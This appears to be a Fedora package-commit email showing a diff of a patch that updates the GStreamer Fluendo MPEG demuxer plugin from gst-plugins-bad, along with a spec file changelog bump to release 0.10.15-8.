++++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -226,7 +226,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
      case PROP_PROGRAM_NO:
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -295,7 +295,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,22 +1,45 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
@@ -559,7 +559,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
    g_value_take_object (&v, stream);
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 + /*
@@ -640,7 +640,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,22 +1,45 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
@@ -900,7 +900,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 -
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -982,7 +982,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdefs.h gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdefs.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h	2009-09-15 16:41:00.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -1027,28 +1027,103 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
  /* Stream type assignments
   * 
-@@ -166,6 +190,17 @@
+@@ -123,30 +147,53 @@
+  * 0x0F-0x7F ITU-T Rec. H.222.0 | ISO/IEC 13818-1 Reserved
+  * 0x80-0xFF User Private
+  */
+-#define ST_RESERVED			0x00
+-#define ST_VIDEO_MPEG1			0x01
+-#define ST_VIDEO_MPEG2			0x02
+-#define ST_AUDIO_MPEG1			0x03
+-#define ST_AUDIO_MPEG2			0x04
+-#define ST_PRIVATE_SECTIONS		0x05
+-#define ST_PRIVATE_DATA			0x06
+-#define ST_MHEG				0x07
+-#define ST_DSMCC			0x08
+-#define ST_H222_1			0x09
++#define ST_RESERVED                     0x00
++#define ST_VIDEO_MPEG1                  0x01
++#define ST_VIDEO_MPEG2                  0x02
++#define ST_AUDIO_MPEG1                  0x03
++#define ST_AUDIO_MPEG2                  0x04
++#define ST_PRIVATE_SECTIONS             0x05
++#define ST_PRIVATE_DATA                 0x06
++#define ST_MHEG                         0x07
++#define ST_DSMCC                        0x08
++#define ST_H222_1                       0x09
+ 
+ /* later extensions */
+-#define ST_AUDIO_AAC			0x0f
+-#define ST_VIDEO_MPEG4			0x10
+-#define ST_VIDEO_H264			0x1b
++#define ST_AUDIO_AAC                    0x0f
++#define ST_VIDEO_MPEG4                  0x10
++#define ST_VIDEO_H264                   0x1b
+ 
+ /* Un-official Dirac extension */
+-#define ST_VIDEO_DIRAC			0xd1
++#define ST_VIDEO_DIRAC                  0xd1
+ 
+ /* private stream types */
+-#define ST_PS_AUDIO_AC3			0x81
+-#define ST_PS_AUDIO_DTS			0x8a
+-#define ST_PS_AUDIO_LPCM		0x8b
++#define ST_PS_AUDIO_AC3                 0x81
++#define ST_PS_AUDIO_DTS                 0x8a
++#define ST_PS_AUDIO_LPCM                0x8b
+ #define ST_PS_DVD_SUBPICTURE            0xff
++/* Blu-ray related */
++#define ST_BD_AUDIO_LPCM                0x80
++#define ST_BD_AUDIO_AC3                 0x81
++#define ST_BD_AUDIO_DTS                 0x82
++#define ST_BD_AUDIO_AC3_TRUE_HD         0x83
++#define ST_BD_AUDIO_AC3_PLUS            0x84
++#define ST_BD_AUDIO_DTS_HD              0x85
++#define ST_BD_AUDIO_EAC3                0x87
++#define ST_BD_PGS_SUBPICTURE            0x90
++#define ST_BD_IGS                       0x91
++#define ST_BD_SUBTITLE                  0x92
++#define ST_BD_SECONDARY_AC3_PLUS        0xa1
++#define ST_BD_SECONDARY_DTS_HD          0xa2
++
++/* defined for VC1 extension in RP227 */
++#define ST_PRIVATE_EA                   0xea
++
++/* HDV AUX stream mapping
++ * 0xA0      ISO/IEC 61834-11
++ * 0xA1      ISO/IEC 61834-11
++ */
++#define ST_HDV_AUX_A                    0xa0
++#define ST_HDV_AUX_V                    0xa1
+ 
+ /* Un-official time-code stream */
+ #define ST_PS_TIMECODE                  0xd2
+@@ -166,8 +213,19 @@
  
  #define MPEG_MUX_RATE_MULT      50
  
 +/* sync:4 == 00xx ! pts:3 ! 1 ! pts:15 ! 1 | pts:15 ! 1 */
 +#define READ_TS(data, target, lost_sync_label)          \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
-+    target  = ((guint64) (*data++ & 0x0E)) << 29;	\
-+    target |= ((guint64) (*data++       )) << 22;	\
++    target  = ((guint64) (*data++ & 0x0E)) << 29;       \
++    target |= ((guint64) (*data++       )) << 22;       \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
-+    target |= ((guint64) (*data++ & 0xFE)) << 14;	\
-+    target |= ((guint64) (*data++       )) << 7;	\
++    target |= ((guint64) (*data++ & 0xFE)) << 14;       \
++    target |= ((guint64) (*data++       )) << 7;        \
 +    if ((*data & 0x01) != 0x01) goto lost_sync_label;   \
 +    target |= ((guint64) (*data++ & 0xFE)) >> 1;
 +
  /* some extra GstFlowReturn values used internally */
- #define GST_FLOW_NEED_MORE_DATA		-100
- #define GST_FLOW_LOST_SYNC		-101
+-#define GST_FLOW_NEED_MORE_DATA		-100
+-#define GST_FLOW_LOST_SYNC		-101
++#define GST_FLOW_NEED_MORE_DATA   -100
++#define GST_FLOW_LOST_SYNC        -101
+ 
+ #endif /* __GST_MPEG_DEFS_H__ */
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdemux.c gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdemux.c	2008-02-13 18:07:07.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c	2009-04-01 12:37:48.000000000 +0100
-@@ -1,22 +1,45 @@
++++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdemux.c	2009-10-13 14:27:03.000000000 +0100
+@@ -1,22 +1,46 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
[...6078 lines suppressed...]
 +  GST_OBJECT_UNLOCK (parse);
 +
-+  {
-+    gchar *dbg = gst_structure_to_string (pmt_info);
-+
-+    GST_DEBUG_OBJECT (parse, "new pmt %s", dbg);
-+    g_free (dbg);
-+  }
++  GST_DEBUG_OBJECT (parse, "new pmt %" GST_PTR_FORMAT, pmt_info);
 +
 +  gst_element_post_message (GST_ELEMENT_CAST (parse),
 +      gst_message_new_element (GST_OBJECT (parse),
@@ -9841,8 +11674,8 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  gboolean res = TRUE;
 +  GstStructure *structure = NULL;
 +
-+  if (mpegts_parse_calc_crc32 (GST_BUFFER_DATA (section->buffer),
-+          GST_BUFFER_SIZE (section->buffer)) != 0) {
++  if (G_UNLIKELY (mpegts_parse_calc_crc32 (GST_BUFFER_DATA (section->buffer),
++              GST_BUFFER_SIZE (section->buffer)) != 0)) {
 +    GST_WARNING_OBJECT (parse, "bad crc in psi pid 0x%x", section->pid);
 +    return FALSE;
 +  }
@@ -9851,7 +11684,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x00:
 +      /* PAT */
 +      structure = mpegts_packetizer_parse_pat (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_pat (parse, structure);
 +      else
 +        res = FALSE;
@@ -9859,7 +11692,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +      break;
 +    case 0x02:
 +      structure = mpegts_packetizer_parse_pmt (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_pmt (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9870,7 +11703,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x41:
 +      /* NIT, other network */
 +      structure = mpegts_packetizer_parse_nit (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_nit (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9879,7 +11712,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x42:
 +    case 0x46:
 +      structure = mpegts_packetizer_parse_sdt (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_sdt (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9921,7 +11754,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    case 0x6F:
 +      /* EIT, schedule */
 +      structure = mpegts_packetizer_parse_eit (parse->packetizer, section);
-+      if (structure)
++      if (G_LIKELY (structure))
 +        mpegts_parse_apply_eit (parse, section->pid, structure);
 +      else
 +        res = FALSE;
@@ -9962,6 +11795,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GstFlowReturn res = GST_FLOW_OK;
 +  MpegTSParse *parse;
 +  gboolean parsed;
++  MpegTSPacketizerPacketReturn pret;
 +  MpegTSPacketizer *packetizer;
 +  MpegTSPacketizerPacket packet;
 +
@@ -9969,11 +11803,10 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  packetizer = parse->packetizer;
 +
 +  mpegts_packetizer_push (parse->packetizer, buf);
-+  while (mpegts_packetizer_has_packets (parse->packetizer) &&
-+      !GST_FLOW_IS_FATAL (res)) {
-+    /* get the next packet */
-+    parsed = mpegts_packetizer_next_packet (packetizer, &packet);
-+    if (!parsed)
++  while (((pret =
++              mpegts_packetizer_next_packet (parse->packetizer,
++                  &packet)) != PACKET_NEED_MORE) && !GST_FLOW_IS_FATAL (res)) {
++    if (G_UNLIKELY (pret == PACKET_BAD))
 +      /* bad header, skip the packet */
 +      goto next;
 +
@@ -9982,16 +11815,16 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +      MpegTSPacketizerSection section;
 +
 +      parsed = mpegts_packetizer_push_section (packetizer, &packet, &section);
-+      if (!parsed)
++      if (G_UNLIKELY (!parsed))
 +        /* bad section data */
 +        goto next;
 +
-+      if (section.complete) {
++      if (G_LIKELY (section.complete)) {
 +        /* section complete */
 +        parsed = mpegts_parse_handle_psi (parse, &section);
 +        gst_buffer_unref (section.buffer);
 +
-+        if (!parsed)
++        if (G_UNLIKELY (!parsed))
 +          /* bad PSI table */
 +          goto next;
 +      }
@@ -10007,6 +11840,9 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    mpegts_packetizer_clear_packet (parse->packetizer, &packet);
 +  }
 +
++  if (parse->need_sync_program_pads)
++    mpegts_parse_sync_program_pads (parse);
++
 +  gst_object_unref (parse);
 +  return res;
 +}
@@ -10059,7 +11895,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    default:
 +      res = gst_pad_query_default (pad, query);
 +  }
-+
++  gst_object_unref (parse);
 +  return res;
 +}
 +
@@ -10069,7 +11905,6 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GST_DEBUG_CATEGORY_INIT (mpegts_parse_debug, "mpegtsparse", 0,
 +      "MPEG transport stream parser");
 +
-+  mpegts_packetizer_init_debug ();
 +  gst_mpegtsdesc_init_debug ();
 +
 +  return gst_element_register (plugin, "mpegtsparse",
@@ -10077,8 +11912,8 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +}
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/mpegtsparse.h gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/mpegtsparse.h	1970-01-01 01:00:00.000000000 +0100
-+++ gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h	2009-04-01 12:37:48.000000000 +0100
-@@ -0,0 +1,83 @@
++++ gst-fluendo-mpegdemux-0.10.15/src/mpegtsparse.h	2009-06-19 10:11:07.000000000 +0100
+@@ -0,0 +1,85 @@
 +/*
 + * mpegts_parse.h - GStreamer MPEG transport stream parser
 + * Copyright (C) 2007 Alessandro Decina
@@ -10141,7 +11976,9 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +  GstStructure *pat;
 +  MpegTSPacketizer *packetizer;
 +  GHashTable *psi_pids;
++  GHashTable *pes_pids;
 +  gboolean disposed;
++  gboolean need_sync_program_pads;
 +};
 +
 +struct _MpegTSParseClass {
@@ -10162,39 +11999,3 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +G_END_DECLS
 +
 +#endif /* GST_MPEG_TS_PARSE_H */
---- gst-fluendo-mpegdemux-0.10.15.old/src/Makefile.am	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/Makefile.am	2009-04-01 13:05:25.000000000 +0100
-@@ -1,5 +1,4 @@
--# plugindir is set in configure
--
-+plugindir = $(libdir)/gstreamer-0.10/
- plugin_LTLIBRARIES = libgstflumpegdemux.la
- 
- # for the next set of variables, rename the prefix if you renamed the .la
-@@ -14,12 +13,14 @@ libgstflumpegdemux_la_SOURCES = \
- 	flutspatinfo.c \
- 	flutspmtinfo.c \
- 	flutspmtstreaminfo.c \
--	gstsectionfilter.c
-+	gstsectionfilter.c \
-+	mpegtspacketizer.c \
-+	mpegtsparse.c
- 
- # flags used to compile this plugin
- # we use the GST_LIBS flags because we might be using plug-in libs
--libgstflumpegdemux_la_CFLAGS = $(GST_CFLAGS)
--libgstflumpegdemux_la_LIBADD = $(GST_LIBS) $(GST_BASE_LIBS)
-+libgstflumpegdemux_la_CFLAGS = $(GST_CFLAGS) $(LIBOIL_CFLAGS) -DGST_PACKAGE_NAME="\"gst-fluendo-mpegdemux from gst-plugins-bad\"" -DGST_PACKAGE_ORIGIN="\"http://download.fedora.redhat.com/fedora\""
-+libgstflumpegdemux_la_LIBADD = $(GST_LIBS) $(GST_BASE_LIBS) $(LIBOIL_LIBS)
- libgstflumpegdemux_la_LDFLAGS = $(GST_PLUGIN_LDFLAGS)
- 
- # headers we need but don't want installed
-@@ -32,5 +33,7 @@ noinst_HEADERS =	\
- 	flutspatinfo.h \
- 	flutspmtinfo.h \
- 	flutspmtstreaminfo.h \
--	gstsectionfilter.h
-+	gstsectionfilter.h \
-+	mpegtspacketizer.h \
-+	mpegtsparse.h
- 


Index: gstreamer-plugins-flumpegdemux.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/F-12/gstreamer-plugins-flumpegdemux.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- gstreamer-plugins-flumpegdemux.spec	25 Jul 2009 01:36:46 -0000	1.8
+++ gstreamer-plugins-flumpegdemux.spec	22 Oct 2009 14:44:29 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: MPEG demuxer for GStreamer
 Name: gstreamer-plugins-flumpegdemux
 Version: 0.10.15
-Release: 7%{?dist} 
+Release: 8%{?dist}
 License: MPLv1.1
 Group: Applications/Multimedia
 Source0: http://core.fluendo.com/gstreamer/src/gst-fluendo-mpegdemux/gst-fluendo-mpegdemux-%{version}.tar.bz2
@@ -54,6 +54,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/gstreamer-0.10/libgstmpegdemux.so
 
 %changelog
+* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.15-8
+- Update code from gst-plugins-bad
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.10.15-7
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From hadess at fedoraproject.org  Thu Oct 22 14:45:10 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu, 22 Oct 2009 14:45:10 +0000 (UTC)
Subject: rpms/gstreamer-plugins-flumpegdemux/devel
	gst-fmd-update-from-bad.patch, 1.1,
	1.2 gstreamer-plugins-flumpegdemux.spec, 1.8, 1.9
Message-ID: <20091022144510.252FC11C008C@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26789

Modified Files:
	gst-fmd-update-from-bad.patch 
	gstreamer-plugins-flumpegdemux.spec 
Log Message:
* Thu Oct 22 2009 Bastien Nocera <bnocera at redhat.com> 0.10.15-8
- Update code from gst-plugins-bad


gst-fmd-update-from-bad.patch:
 configure.ac             |    2 
 src/Makefile.am          |   15 
 src/flumpegdemux.c       |   40 
 src/flutspatinfo.c       |   76 -
 src/flutspatinfo.h       |   39 
 src/flutspmtinfo.c       |  171 +--
 src/flutspmtinfo.h       |   47 
 src/flutspmtstreaminfo.c |  174 +--
 src/flutspmtstreaminfo.h |   47 
 src/gstmpegdefs.h        |   98 +
 src/gstmpegdemux.c       | 1803 ++++++++++++++++++++++++++++-----
 src/gstmpegdemux.h       |  139 +-
 src/gstmpegdesc.c        |   60 +
 src/gstmpegdesc.h        |   94 +
 src/gstmpegtsdemux.c     | 1749 +++++++++++++++++++++++---------
 src/gstmpegtsdemux.h     |  286 +++--
 src/gstpesfilter.c       |  165 +--
 src/gstpesfilter.h       |   27 
 src/gstsectionfilter.c   |  149 +-
 src/gstsectionfilter.h   |   26 
 src/mpegtspacketizer.c   | 2506 +++++++++++++++++++++++++++++++++++++++++++++++
 src/mpegtspacketizer.h   |  152 ++
 src/mpegtsparse.c        | 1342 +++++++++++++++++++++++++
 src/mpegtsparse.h        |   85 +
 24 files changed, 7954 insertions(+), 1338 deletions(-)

View full diff with command:
/usr/bin/cvs -n -f diff -kk -u -p -N -r 1.1 -r 1.2 gst-fmd-update-from-bad.patchIndex: gst-fmd-update-from-bad.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-flumpegdemux/devel/gst-fmd-update-from-bad.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gst-fmd-update-from-bad.patch	1 Apr 2009 12:20:07 -0000	1.1
+++ gst-fmd-update-from-bad.patch	22 Oct 2009 14:45:09 -0000	1.2
@@ -1,6 +1,6 @@
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/configure.ac gst-fluendo-mpegdemux-0.10.15/configure.ac
 --- gst-fluendo-mpegdemux-0.10.15.old/configure.ac	2008-02-13 18:14:54.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/configure.ac	2009-04-01 12:39:32.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/configure.ac	2009-10-22 15:36:25.000000000 +0100
 @@ -76,6 +76,8 @@ AC_SUBST(GST_CFLAGS)
  AC_SUBST(GST_LIBS)
  AC_SUBST(GST_BASE_LIBS)
@@ -12,7 +12,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flumpegdemux.c gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flumpegdemux.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flumpegdemux.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -89,7 +89,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 +    GST_LICENSE_UNKNOWN, GST_PACKAGE_NAME, GST_PACKAGE_ORIGIN);
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -226,7 +226,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
      case PROP_PROGRAM_NO:
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspatinfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspatinfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -295,7 +295,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,22 +1,45 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
@@ -559,7 +559,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
    g_value_take_object (&v, stream);
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtinfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtinfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 + /*
@@ -640,7 +640,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.c gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.c	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.c	2009-04-01 12:36:31.000000000 +0100
 @@ -1,22 +1,45 @@
 -/* 
 - * The contents of this file are subject to the Mozilla Public License
@@ -900,7 +900,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
 -
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.h gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/flutspmtstreaminfo.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/flutspmtstreaminfo.h	2009-04-01 12:36:31.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -982,7 +982,7 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
 diff -uprN gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdefs.h gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h
 --- gst-fluendo-mpegdemux-0.10.15.old/src/gstmpegdefs.h	2007-11-21 12:59:24.000000000 +0000
-+++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h	2009-04-01 12:37:48.000000000 +0100
++++ gst-fluendo-mpegdemux-0.10.15/src/gstmpegdefs.h	2009-09-15 16:41:00.000000000 +0100
 @@ -1,4 +1,10 @@
 -/* 
 +/*
@@ -1027,28 +1027,103 @@ diff -uprN gst-fluendo-mpegdemux-0.10.15
  
  /* Stream type assignments
   * 
-@@ -166,6 +190,17 @@
+@@ -123,30 +147,53 @@
+  * 0x0F-0x7F ITU-T Rec. H.222.0 | ISO/IEC 13818-1 Reserved
+  * 0x80-0xFF User Private
+  */
+-#define ST_RESERVED			0x00
+-#define ST_VIDEO_MPEG1			0x01
+-#define ST_VIDEO_MPEG2			0x02
+-#define ST_AUDIO_MPEG1			0x03
+-#define ST_AUDIO_MPEG2			0x04
+-#define ST_PRIVATE_SECTIONS		0x05
+-#define ST_PRIVATE_DATA			0x06
+-#define ST_MHEG				0x07
+-#define ST_DSMCC			0x08
+-#define ST_H222_1			0x09
++#define ST_RESERVED                     0x00
++#define ST_VIDEO_MPEG1                  0x01
++#define ST_VIDEO_MPEG2                  0x02
++#define ST_AUDIO_MPEG1                  0x03
++#define ST_AUDIO_MPEG2                  0x04
++#define ST_PRIVATE_SECTIONS             0x05
++#define ST_PRIVATE_DATA                 0x06
++#define ST_MHEG                         0x07
++#define ST_DSMCC                        0x08
++#define ST_H222_1                       0x09
+ 
+ /* later extensions */
+-#define ST_AUDIO_AAC			0x0f
+-#define ST_VIDEO_MPEG4			0x10
+-#define ST_VIDEO_H264			0x1b
++#define ST_AUDIO_AAC                    0x0f
++#define ST_VIDEO_MPEG4                  0x10
++#define ST_VIDEO_H264                   0x1b
+ 
+ /* Un-official Dirac extension */
+-#define ST_VIDEO_DIRAC			0xd1
++#define ST_VIDEO_DIRAC                  0xd1
+ 
+ /* private stream types */
+-#define ST_PS_AUDIO_AC3			0x81
+-#define ST_PS_AUDIO_DTS			0x8a
+-#define ST_PS_AUDIO_LPCM		0x8b
++#define ST_PS_AUDIO_AC3                 0x81
++#define ST_PS_AUDIO_DTS                 0x8a
++#define ST_PS_AUDIO_LPCM                0x8b
+ #define ST_PS_DVD_SUBPICTURE            0xff
++/* Blu-ray related */
++#define ST_BD_AUDIO_LPCM                0x80
++#define ST_BD_AUDIO_AC3                 0x81
++#define ST_BD_AUDIO_DTS                 0x82
++#define ST_BD_AUDIO_AC3_TRUE_HD         0x83
++#define ST_BD_AUDIO_AC3_PLUS            0x84
++#define ST_BD_AUDIO_DTS_HD              0x85
++#define ST_BD_AUDIO_EAC3                0x87
++#define ST_BD_PGS_SUBPICTURE            0x90
++#define ST_BD_IGS                       0x91
++#define ST_BD_SUBTITLE                  0x92
++#define ST_BD_SECONDARY_AC3_PLUS        0xa1
++#define ST_BD_SECONDARY_DTS_HD          0xa2
++
